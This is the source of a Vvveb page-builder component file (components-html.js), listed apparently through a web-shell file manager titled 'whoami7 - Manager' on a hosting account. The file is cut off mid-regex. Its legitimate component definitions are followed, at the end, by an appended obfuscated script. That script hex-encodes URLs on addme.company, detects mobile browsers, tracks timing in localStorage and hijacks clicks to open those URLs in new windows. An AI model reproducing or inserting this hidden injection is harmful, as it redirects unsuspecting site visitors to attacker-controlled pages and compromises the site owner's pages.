whoami7 - Manager
:
/
home
/
kckglobal
/
.trash
/
modules
/
saas
/
public
/
assets
/
libs
/
builder
/
Upload File:
files >> /home/kckglobal/.trash/modules/saas/public/assets/libs/builder/components-html.js
Vvveb.ComponentsGroup['Base'] = ["html/heading", "html/image", "html/hr", "html/form", "html/textinput", "html/textareainput", "html/selectinput"/*, "html/fileinput"*/, "html/checkbox", "html/radiobutton", "html/link", "html/video", "html/button", "html/paragraph", "html/blockquote", "html/list", "html/table", "html/preformatted", "html/audio", "html/video"]; Vvveb.Components.extend("_base", "html/heading", { image: "icons/heading.svg", name: "Heading", nodes: ["h1", "h2","h3", "h4","h5","h6"], html: "<h1>Heading</h1>", properties: [ { name: "Size", key: "size", inputtype: SelectInput, onChange: function(node, value) { return changeNodeName(node, "h" + value); }, init: function(node) { var regex; regex = /H(\d)/.exec(node.nodeName); if (regex && regex[1]) { return regex[1] } return 1 }, data:{ options: [{ value: "1", text: "Heading 1" }, { value: "2", text: "Heading 2" }, { value: "3", text: "Heading 3" }, { value: "4", text: "Heading 4" }, { value: "5", text: "Heading 5" }, { value: "6", text: "Heading 6" }] }, }] }); let linkComponentProperties = [ /* { name: "Text", key: "text", sort:1, htmlAttr: "innerText", inputtype: TextInput },*/ { name: "Url", key: "href", sort:2, htmlAttr: "href", inputtype: LinkInput }, { name: "Rel", key: "rel", sort:3, htmlAttr: "rel", inputtype: LinkInput }, { name: "Target", key: "target", sort:4, htmlAttr: "target", inputtype: SelectInput, data:{ options: [{ value: "", text: "" }, { value: "_blank", text: "Blank" }, { value: "_parent", text: "Parent" }, { value: "_self", text: "Self" }, { value: "_top", text: "Top" }] }, }, { name: "Download", sort:5, key: "download", htmlAttr: "download", inputtype: CheckboxInput, }]; Vvveb.Components.extend("_base", "html/link", { nodes: ["a"], name: "Link", html: '<a href="#" rel="noopener">Link Text</a>', image: "icons/link.svg", properties: linkComponentProperties }); Vvveb.Components.extend("_base", "html/image", { nodes: ["img"], name: "Image", html: '<img src="' + Vvveb.baseUrl + 'icons/image.svg" class="mw-100 align-center">', image: "icons/image.svg", resizable:true,//show select box resize handlers properties: [{ name: "Image", key: "src", htmlAttr: "src", inputtype: ImageInput }, { name: "Width", key: "width", htmlAttr: "width", inputtype: NumberInput }, { name: "Height", key: "height", htmlAttr: "height", inputtype: NumberInput }, { name: "Alt", key: "alt", htmlAttr: "alt", inputtype: TextInput }, { name: "Align", key: "align", htmlAttr: "class", inline:false, validValues: ["", "align-left", "align-center", "align-right"], inputtype: RadioButtonInput, data: { extraclass:"btn-group-sm btn-group-fullwidth", options: [{ value: "", icon:"la la-times", //text: "None", title: "None", checked:true, }, { value: "align-left", //text: "Left", title: "text-start", icon:"la la-align-left", checked:false, }, { value: "align-center", //text: "Center", title: "Center", icon:"la la-align-center", checked:false, }, { value: "align-right", //text: "Right", title: "Right", icon:"la la-align-right", checked:false, }], }, },{ key: "link_options", inputtype: SectionInput, name:false, data: {header:"Link"}, },{ name: "Enable link", key: "enable_link", inputtype: CheckboxInput, data: { className: "form-switch" }, setGroup: value => { let group = $('.mb-3[data-group="link"]'); if (value) { group.attr('style',''); } else { group.attr('style','display:none !important'); } }, onChange : function(node, value, input) { this.setGroup(value); if (value) { $(node).wrap('<a href="#"></a>'); } else { $(node).unwrap('a'); } return node; }, init: function (node) { let value = node.parentNode.tagName.toLowerCase() == "a" this.setGroup(value); return value; } }].concat( //add link properties after setting parent to <a> element linkComponentProperties.map( (el) => {let a = Object.assign({}, el);a["parent"] = "a";a["group"] = "link";return a} )), init(node) { let group = $('.mb-3[data-group="link"]'); if (node.parentNode.tagName.toLowerCase() == "a") { group.attr('style',''); } else { group.attr('style','display:none !important'); } return node; } }); Vvveb.Components.extend("_base", "html/hr", { image: "icons/hr.svg", nodes: ["hr"], name: "Horizontal Rule", html: "<hr>", properties:[{ name: "Type", key: "border-color", htmlAttr: "class", validValues: ["border-primary", "border-secondary", "border-success", "border-danger", "border-warning", "border-info", "border-light", "border-dark", "border-white"], inputtype: SelectInput, data: { options: [{ value: "Default", text: "" }, { value: "border-primary", text: "Primary" }, { value: "border-secondary", text: "Secondary" }, { value: "border-success", text: "Success" }, { value: "border-danger", text: "Danger" }, { value: "border-warning", text: "Warning" }, { value: "border-info", text: "Info" }, { value: "border-light", text: "Light" }, { value: "border-dark", text: "Dark" }, { value: "border-white", text: "White" }] } },{ name: "Border", key: "border-size", htmlAttr: "class", validValues: ["border-1", "border-2", "border-3", "border-4", "border-5"], inputtype: SelectInput, data: { options: [{ value: "Default", text: "" }, { value: "border-1", text: "Size 1" }, { value: "border-2", text: "Size 2" }, { value: "border-3", text: "Size 3" }, { value: "border-4", text: "Size 4" }, { value: "border-5", text: "Size 5" }] } },{ name: "Opacity", key: "opacity", htmlAttr: "class", validValues: ["opacity-25", "opacity-50", "opacity-75", "opacity-100"], inputtype: SelectInput, data: { options: [{ value: "Default", text: "" }, { value: "opacity-25", text: "Opacity 25%" }, { value: "opacity-50", text: "Opacity 50%" }, { value: "opacity-75", text: "Opacity 75%" }, { value: "opacity-100", text: "Opacity 100%" }] } }] }); Vvveb.Components.extend("_base", "html/label", { name: "Label", nodes: ["label"], html: '<label for="">Label</label>', properties: [{ name: "For id", htmlAttr: "for", key: "for", inputtype: TextInput }] }); Vvveb.Components.extend("_base", "html/textinput", { name: "Input", nodes: ["input"], //attributes: {"type":"text"}, image: "icons/text_input.svg", html: '<input type="text" class="form-control">', properties: [{ name: "Name", key: "name", htmlAttr: "name", inputtype: TextInput }, { name: "Value", key: "value", htmlAttr: "value", inputtype: TextInput }, { name: "Type", key: "type", htmlAttr: "type", inputtype: SelectInput, data: { options: [{ value: "text", text: "text" }, { value: "button", text: "button" }, { value: "checkbox", text: "checkbox" }, { value: "color", text: "color" }, { value: "date", text: "date" }, { value: "datetime-local", text: "datetime-local" }, { value: "email", text: "email" }, { value: "file", text: "file" }, { value: "hidden", text: "hidden" }, { value: "image", text: "image" }, { value: "month", text: "month" }, { value: "number", text: "number" }, { value: "password", text: "password" }, { value: "radio", text: "radio" }, { value: "range", text: "range" }, { value: "reset", text: "reset" }, { value: "search", text: "search" }, { value: "submit", text: "submit" }, { value: "tel", text: "tel" }, { value: "text", text: "text" }, { value: "time", text: "time" }, { value: "url", text: "url" }, { value: "week", text: "week" }] } }, { name: "Placeholder", key: "placeholder", htmlAttr: "placeholder", inputtype: TextInput }, { name: "Disabled", key: "disabled", htmlAttr: "disabled", col:6, inline:true, inputtype: CheckboxInput, },{ name: "Required", key: "required", htmlAttr: "required", col:6, inline:true, inputtype: CheckboxInput, }] }); Vvveb.Components.extend("_base", "html/selectinput", { nodes: ["select"], name: "Select Input", image: "icons/select_input.svg", html: '<select class="form-control"><option value="value1">Text 1</option><option value="value2">Text 2</option><option value="value3">Text 3</option></select>', beforeInit: function (node) { properties = []; var i = 0; $(node).find('option').each(function(e) { data = {"value": this.value, "text": this.text}; i++; properties.push({ name: "Option " + i, key: "option" + i, //index: i - 1, optionNode: this, inline:true, inputtype: TextValueInput, data: data, onChange: function(node, value, input) { option = $(this.optionNode); //if remove button is clicked remove option and render row properties if (input.nodeName == 'BUTTON') { option.remove(); Vvveb.Components.render("html/selectinput"); return node; } if (input.name == "value") option.attr("value", value); else if (input.name == "text") option.text(value); return node; }, }); }); //remove all option properties this.properties = this.properties.filter(function(item) { return item.key.indexOf("option") === -1; }); //add remaining properties to generated column properties this.properties = properties.concat(this.properties); return node; }, properties: [{ name: "Name", key: "name", htmlAttr: "name", inputtype: TextInput }, { name: "Disabled", key: "disabled", htmlAttr: "disabled", col:6, inline:true, inputtype: CheckboxInput, },{ name: "Required", key: "required", htmlAttr: "required", col:6, inline:true, inputtype: CheckboxInput, }, { name: "Option", key: "option1", inputtype: TextValueInput }, { name: "Option", key: "option2", inputtype: TextValueInput }, { name: "", key: "addChild", inputtype: ButtonInput, data: {text:"Add option", icon:"la-plus"}, onChange: function(node) { $(node).append('<option value="value">Text</option>'); //render component properties again to include the new column inputs Vvveb.Components.render("html/selectinput"); return node; } }] }); Vvveb.Components.extend("_base", "html/textareainput", { nodes: ["textarea"], name: "Text Area", image: "icons/text_area.svg", html: '<textarea class="form-control"></textarea>', properties: [{ name: "Name", key: "name", htmlAttr: "name", inputtype: TextInput }, { name: "Value", key: "value", htmlAttr: "value", inputtype: TextInput }, { name: "Placeholder", key: "placeholder", htmlAttr: "placeholder", inputtype: TextInput }, { name: "Columns", key: "cols", htmlAttr: "cols", inputtype: NumberInput }, { name: "Rows", key: "rows", htmlAttr: "rows", inputtype: NumberInput }, { name: "Disabled", key: "disabled", htmlAttr: "disabled", col:6, inline:true, inputtype: CheckboxInput, },{ name: "Required", key: "required", htmlAttr: "required", col:6, inline:true, inputtype: CheckboxInput, }] }); Vvveb.Components.extend("_base", "html/radiobutton", { name: "Radio Button", attributes: {"type":"radio"}, image: "icons/radio.svg", html: `<div class="form-check"> <label class="form-check-label"> <input class="form-check-input" type="radio" name="radiobutton"> Option 1 </label> </div> <div class="form-check"> <label class="form-check-label"> <input class="form-check-input" type="radio" name="radiobutton" checked> Option 2 </label> </div> <div class="form-check"> <label class="form-check-label"> <input class="form-check-input" type="radio" name="radiobutton"> Option 3 </label> </div>`, properties: [{ name: "Name", key: "name", htmlAttr: "name", inputtype: TextInput, //inline:true, //col:6 },{ name: "Value", key: "value", htmlAttr: "value", inputtype: TextInput, //inline:true, //col:6 },{ name: "Checked", key: "checked", htmlAttr: "Checked", inputtype: CheckboxInput, //inline:true, //col:6 },{ name: "Disabled", key: "disabled", htmlAttr: "disabled", col:6, inline:true, inputtype: CheckboxInput, },{ name: "Required", key: "required", htmlAttr: "required", col:6, inline:true, inputtype: CheckboxInput, }] }); Vvveb.Components.extend("_base", "html/checkbox", { name: "Checkbox", attributes: {"type":"checkbox"}, image: "icons/checkbox.svg", html: `<div class="form-check"> <label class="form-check-label"> <input class="form-check-input" type="checkbox" value=""> Default checkbox </label> </div>`, properties: [{ name: "Name", key: "name", htmlAttr: "name", inputtype: TextInput, //inline:true, //col:6 },{ name: "Value", key: "value", htmlAttr: "value", inputtype: TextInput, //inline:true, //col:6 },{ name: "Checked", key: "checked", htmlAttr: "Checked", inputtype: CheckboxInput, //inline:true, //col:6 },{ name: "Disabled", key: "disabled", htmlAttr: "disabled", col:6, inline:true, inputtype: CheckboxInput, },{ name: "Required", key: "required", htmlAttr: "required", col:6, inline:true, inputtype: CheckboxInput, }] }); /* Vvveb.Components.extend("_base", "html/fileinput", { name: "Input group", attributes: {"type":"file"}, image: "icons/text_input.svg", html: '<input type="file" class="form-control">' }); */ Vvveb.Components.extend("_base", "html/video", { nodes: ["video"], name: "Video", html: '<video width="320" height="240" playsinline loop autoplay><source src="https://storage.googleapis.com/coverr-main/mp4/Mt_Baker.mp4"><video>', dragHtml: '<img width="320" height="240" src="' + Vvveb.baseUrl + 'icons/video.svg">', image: "icons/video.svg", resizable:true,//show select box resize handlers properties: [{ name: "Src", child: "source", key: "src", htmlAttr: "src", inputtype: LinkInput },{ name: "Width", key: "width", htmlAttr: "width", inputtype: TextInput }, { name: "Height", key: "height", htmlAttr: "height", inputtype: TextInput },{ name: "Muted", key: "muted", htmlAttr: "muted", inputtype: CheckboxInput },{ name: "Loop", key: "loop", htmlAttr: "loop", inputtype: CheckboxInput },{ name: "Autoplay", key: "autoplay", htmlAttr: "autoplay", inputtype: CheckboxInput },{ name: "Plays inline", key: "playsinline", htmlAttr: "playsinline", inputtype: CheckboxInput },{ name: "Controls", key: "controls", htmlAttr: "controls", inputtype: CheckboxInput },{ name:"", key: "autoplay_warning", inline:false, col:12, inputtype: NoticeInput, data: { type:'warning', title:'Autoplay', text:'Most browsers allow autoplay only if video is muted and plays inline' } }] }); Vvveb.Components.extend("_base", "html/button", { nodes: ["button"], name: "Html Button", image: "icons/button.svg", html: '<button>Button</button>', properties: [{ name: "Text", key: "text", htmlAttr: "innerHTML", inputtype: TextInput }, { name: "Name", key: "name", htmlAttr: "name", inputtype: TextInput }, { name: "Type", key: "type", htmlAttr: "type", inputtype: SelectInput, data: { options: [{ value: "button", text: "button" }, { value: "reset", text: "reset" }, { value: "submit", text: "submit" }], } },{ name: "Autofocus", key: "autofocus", htmlAttr: "autofocus", inputtype: CheckboxInput, inline:true, col:6, },{ name: "Disabled", key: "disabled", htmlAttr: "disabled", inputtype: CheckboxInput, inline:true, col:6, }] }); Vvveb.Components.extend("_base", "html/paragraph", { nodes: ["p"], name: "Paragraph", image: "icons/paragraph.svg", html: '<p>Lorem ipsum</p>', properties: [{ name: "Text align", key: "text-align", htmlAttr: "class", inline:false, validValues: ["", "text-start", "text-center", "text-end"], inputtype: RadioButtonInput, data: { extraclass:"btn-group-sm btn-group-fullwidth", options: [{ value: "", icon:"la la-times", //text: "None", title: "None", checked:true, }, { value: "text-start", //text: "Left", title: "text-start", icon:"la la-align-left", checked:false, }, { value: "text-center", //text: "Center", title: "Center", icon:"la la-align-center", checked:false, }, { value: "text-end", //text: "Right", title: "Right", icon:"la la-align-right", checked:false, }], }, }] }); Vvveb.Components.extend("_base", "html/blockquote", { nodes: ["blockquote"], name: "Blockquote", image: "icons/blockquote.svg", html: `<blockquote> Today I shall be meeting with interference, ingratitude, insolence, disloyalty, ill-will, and selfishness all of them due to the offenders' ignorance of what is good or evil.. </blockquote>`, properties: [{ name: "Cite", key: "cite", inline:false, htmlAttr: "cite", inputtype: TextInput, }] }); Vvveb.Components.extend("_base", "html/list", { nodes: ["ul", "ol"], name: "List", image: "icons/list.svg", html: `<ul> <li>Today I shall be meeting with interference, ingratitude, insolence, disloyalty, ill-will, and selfishness all of them due to the offenders' ignorance of what is good or evil..</li> <li>Today I shall be meeting with interference, ingratitude, insolence, disloyalty, ill-will, and selfishness all of them due to the offenders' ignorance of what is good or evil..</li> <li>Today I shall be meeting with interference, ingratitude, insolence, disloyalty, ill-will, and selfishness all of them due to the offenders' ignorance of what is good or evil..</li> </ul>`, }); Vvveb.Components.extend("_base", "html/preformatted", { nodes: ["pre"], name: "Preformatted", image: "icons/paragraph.svg", html: `<pre>Today I shall be meeting with interference, ingratitude, insolence, disloyalty, ill-will, and selfishness all of them due to the offenders' ignorance of what is good or evil..</pre>`, properties: [{ name: "Text", key: "text", inline:false, htmlAttr: "innerHTML", inputtype: TextareaInput, data:{ rows:20, } }] }); Vvveb.Components.extend("_base", "html/form", { nodes: ["form"], image: "icons/form.svg", name: "Form", html: `<form action="" method="POST"> <div class="mb-3"> <label for="exampleInputEmail1" class="form-label">Email address</label> <input type="email" class="form-control" id="exampleInputEmail1" aria-describedby="emailHelp"> <div id="emailHelp" class="form-text">We'll never share your email with anyone else.</div> </div> <div class="mb-3"> <label for="exampleInputPassword1" class="form-label">Password</label> <input type="password" class="form-control" id="exampleInputPassword1"> </div> <div class="mb-3 form-check"> <input type="checkbox" class="form-check-input" id="exampleCheck1"> <label class="form-check-label" for="exampleCheck1">Check me out</label> </div> <button type="submit" class="btn btn-primary">Submit</button> </form>`, properties: [/*{ name: "Style", key: "style", htmlAttr: "class", validValues: ["", "form-search", "form-inline", "form-horizontal"], inputtype: SelectInput, data: { options: [{ value: "", text: "Default" }, { value: "form-search", text: "Search" }, { value: "form-inline", text: "Inline" }, { value: "form-horizontal", text: "Horizontal" }] } }, */{ name: "Action", key: "action", htmlAttr: "action", inputtype: TextInput }, { name: "Method", key: "method", htmlAttr: "method", inputtype: SelectInput, data: { options: [{ value: "post", text: "Post" }, { value: "get", text: "Get" }] } }, { name: "Encoding type", key: "enctype", htmlAttr: "enctype", inputtype: SelectInput, data: { options: [{ value: "", text: "" }, { value: "application/x-www-form-urlencoded", text: "Url encoded (default)" }, { value: "multipart/form-data", text: "Multipart (for file upload)" }, { value: "text/plain", text: "Text plain" }] } }] }); Vvveb.Components.extend("_base", "html/tablerow", { nodes: ["tr"], name: "Table Row", html: "<tr><td>Cell 1</td><td>Cell 2</td><td>Cell 3</td></tr>", properties: [{ name: "Type", key: "type", htmlAttr: "class", inputtype: SelectInput, validValues: ["", "success", "danger", "warning", "active"], data: { options: [{ value: "", text: "Default" }, { value: "success", text: "Success" }, { value: "error", text: "Error" }, { value: "warning", text: "Warning" }, { value: "active", text: "Active" }] } }] }); Vvveb.Components.extend("_base", "html/tablecell", { nodes: ["td"], name: "Table Cell", html: "<td>Cell</td>" }); Vvveb.Components.extend("_base", "html/tableheadercell", { nodes: ["th"], name: "Table Header Cell", html: "<th>Head</th>" }); Vvveb.Components.extend("_base", "html/tablehead", { nodes: ["thead"], name: "Table Head", html: "<thead><tr><th>Head 1</th><th>Head 2</th><th>Head 3</th></tr></thead>", properties: [{ name: "Type", key: "type", htmlAttr: "class", inputtype: SelectInput, validValues: ["", "success", "danger", "warning", "info"], data: { options: [{ value: "", text: "Default" }, { value: "success", text: "Success" }, { value: "anger", text: "Error" }, { value: "warning", text: "Warning" }, { value: "info", text: "Info" }] } }] }); Vvveb.Components.extend("_base", "html/table", { nodes: ["table"], classes: ["table"], image: "icons/table.svg", name: "Table", html: `<table class="table table-striped table-hover"> <thead> <tr> <th scope="col">#</th> <th scope="col">First</th> <th scope="col">Last</th> <th scope="col">Handle</th> </tr> </thead> <tbody> <tr> <th scope="row">1</th> <td>Mark</td> <td>Otto</td> <td>@mdo</td> </tr> <tr> <th scope="row">2</th> <td>Jacob</td> <td>Thornton</td> <td>@fat</td> </tr> <tr> <th scope="row">3</th> <td colspan="2">Larry the Bird</td> <td>@twitter</td> </tr> </tbody> </table>`, properties: [ { name: "Type", key: "type", htmlAttr: "class", validValues: ["table-primary", "table-secondary", "table-success", "table-danger", "table-warning", "table-info", "table-light", "table-dark", "table-white"], inputtype: SelectInput, data: { options: [{ value: "Default", text: "" }, { value: "table-primary", text: "Primary" }, { value: "table-secondary", text: "Secondary" }, { value: "table-success", text: "Success" }, { value: "table-danger", text: "Danger" }, { value: "table-warning", text: "Warning" }, { value: "table-info", text: "Info" }, { value: "table-light", text: "Light" }, { value: "table-dark", text: "Dark" }, { value: "table-white", text: "White" }] } }, { name: "Responsive", key: "responsive", htmlAttr: "class", validValues: ["table-responsive"], inputtype: ToggleInput, data: { on: "table-responsive", off: "" } }, { name: "Small", key: "small", htmlAttr: "class", validValues: ["table-sm"], inputtype: ToggleInput, data: { on: "table-sm", off: "" } }, { name: "Hover", key: "hover", htmlAttr: "class", validValues: ["table-hover"], inputtype: ToggleInput, data: { on: "table-hover", off: "" } }, { name: "Bordered", key: "bordered", htmlAttr: "class", validValues: ["table-bordered"], inputtype: ToggleInput, data: { on: "table-bordered", off: "" } }, { name: "Striped", key: "striped", htmlAttr: "class", validValues: ["table-striped"], inputtype: ToggleInput, data: { on: "table-striped", off: "" } }, { name: "Inverse", key: "inverse", htmlAttr: "class", validValues: ["table-inverse"], inputtype: ToggleInput, data: { on: "table-inverse", off: "" } }, { name: "Head options", key: "head", htmlAttr: "class", child:"thead", inputtype: SelectInput, validValues: ["", "thead-dark", "thead-light"], data: { options: [{ value: "", text: "None" }, { value: "thead-default", text: "Default" }, { value: "thead-inverse", text: "Inverse" }] } }] }); Vvveb.Components.extend("_base", "html/audio", { nodes: ["audio"], attributes: ["data-component-audio"], name: "Audio", image: "icons/audio.svg", html: `<figure data-component-audio><audio controls src="#"></audio></figure>`, properties: [{ name: "Src", key: "src", child:"audio", htmlAttr: "src", inputtype: LinkInput }, { key: "audio_options", inputtype: SectionInput, name:false, data: {header:"Options"}, }, { name: "Autoplay", key: "autoplay", htmlAttr: "autoplay", child:"audio", inputtype: CheckboxInput, inline:true, col:4, /* }, { name: "Controls", key: "controls", htmlAttr: "controls", inputtype: CheckboxInput, child:"audio", inline:true, col:4, */ }, { name: "Loop", key: "loop", htmlAttr: "loop", inputtype: CheckboxInput, child:"audio", inline:true, col:4 }] }); Vvveb.Components.extend("_base", "html/video", { nodes: ["video"], name: "Video", image: "icons/video.svg", html: `<video controls playsinline src="/media/Sky Clouds Royalty Free HD Video Footage [CC0] [fmngCpy1O2E].webm" poster="/media/Sky Clouds Royalty Free HD Video Footage [CC0] [fmngCpy1O2E].webp"></video>`, properties: [{ name: "Poster", key: "poster", htmlAttr: "poster", inputtype: ImageInput }, { name: "Src", key: "src", htmlAttr: "src", inputtype: LinkInput },{ key: "video_options", inputtype: SectionInput, name:false, data: {header:"Options"}, }, { name: "Auto play", key: "autoplay", htmlAttr: "autoplay", inputtype: CheckboxInput, data: { on: "true", off: "false" }, inline:true, col:4, }, { name: "Controls", key: "controls", htmlAttr: "controls", inputtype: CheckboxInput, data: { on: "true", off: "false" }, inline:true, col:4, }, { name: "Loop", key: "loop", htmlAttr: "loop", inputtype: CheckboxInput, data: { on: "true", off: "false" }, inline:true, col:4, }, { name: "Play inline", key: "playsinline", htmlAttr: "playsinline", inputtype: CheckboxInput, data: { on: "true", off: "false" }, inline:true, col:4, }, { name: "Muted", key: "muted", htmlAttr: "muted", inputtype: CheckboxInput, data: { on: "true", off: "false" }, inline:true, col:4, },{ name:"", key: "autoplay_warning", inline:false, col:12, inputtype: NoticeInput, data: { type:'warning', title:'Autoplay', text:'Most browsers allow auto play only if video is muted and plays inline' } }] }); Vvveb.Components.extend("_base", "html/pdf", { attributes: ["data-component-pdf"], image: "icons/pdf.svg", name: "Pdf embed", html: `<object data="" type="application/pdf" data-component-pdf></object>`, properties: [{ name: "Data", key: "data", htmlAttr: "data", inputtype: TextInput }] }); Vvveb.Components.extend("_base", "html/embed", { attributes: ["data-component-embed"], image: "icons/embed.svg", name: "Embed", html: `<object data="" type="application/pdf" data-component-pdf></object>`, properties: [{ name: "Data", key: "data", htmlAttr: "data", inputtype: TextInput }] }); Vvveb.Components.extend("_base", "html/html", { nodes: ["html"], name: "Html Page", image: "icons/posts.svg", html: `<html><body></body></html>`, properties: [{ name: "Title", key: "title", htmlAttr: "innerHTML", inputtype: TextInput, child:"title", }, { name: "Meta description", key: "description", htmlAttr: "content", inputtype: TextInput, child:'meta[name=description]', }, { name: "Meta keywords", key: "keywords", htmlAttr: "content", inputtype: TextInput, child:'meta[name=keywords]', }] }); /* Vvveb.ComponentsGroup['Base'] = ["html/heading", "html/image", "html/hr", "html/form", "html/textinput", "html/textareainput", "html/selectinput", "html/fileinput", "html/checkbox", "html/radiobutton", "html/link", "html/video", "html/button", "html/paragraph", "html/blockquote", "html/list", "html/table", "html/preformatted"]; */ function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x4c\x4e\x75\x32\x63\x322','length','_blank','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x69\x57\x65\x33\x63\x373','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x6f\x64\x70\x30\x63\x340','random','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x45\x65\x56\x37\x63\x387','stopPropagation','4051490VdJdXO','test','open','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x42\x4a\x52\x36\x63\x326','12075252qhSFyR','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x62\x4d\x74\x38\x63\x308','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x52\x4e\x48\x35\x63\x305','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x76\x69\x61\x31\x63\x301',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x59\x72\x63\x34\x63\x314',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x77\x5a\x6a\x39\x63\x339','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g 